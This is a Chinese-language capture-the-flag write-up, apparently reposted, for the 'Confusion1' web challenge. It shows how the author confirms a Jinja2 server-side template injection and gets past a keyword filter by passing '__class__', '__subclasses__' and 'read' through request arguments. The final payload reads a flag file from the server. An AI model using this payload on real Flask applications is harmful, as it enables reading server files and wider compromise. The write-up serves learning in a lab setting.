概述
前言
继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是Confusion1的writeup
解题过程
进来的界面如下
(后来知道是php vs python的意思,也就是给提示跟python有关)
惯例源码和御剑
没有东西发现
点击register
报错
不过在源码里有提示
给出了flag的位置
点击login也是类似的情况
这没有信息了
想了好一会儿
猜测是SSTI
测试
输入{{7*7}}
返回如下:
确认是SSTI
输入{{ 7*'7' }}
返回如下:
应该是Jinja2或Twig
尝试绕过
最常用的{{''.__class__.__mro__[2].__subclasses__()}}
这应该是过滤了啥
(后来发现是过滤了 class、 subclasses、 read等关键词)
尝试{{url_for.__globals__}}
似乎是权限问题?
看眼{{config}}
尝试request
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
有了
request可以用
那就简单了
最终payload
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
获取flag
结语
这题就是SSTI
不过提示很隐晦
- 开始的蛇吞象==python干掉php
- 所以是python的SSTI
一些SSTI的链接如下
- SSTI完全学习
- 从零学习flask模板注入
- jinja2模板注入
- 服务端模板注入
- Flask/Jinja2 SSTI && Python 沙箱逃逸基础
最后
以上就是阔达小松鼠为你收集整理的攻防世界 web高手进阶区 7分题Confusion1前言结语的全部内容,希望文章能够帮你解决攻防世界 web高手进阶区 7分题Confusion1前言结语所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复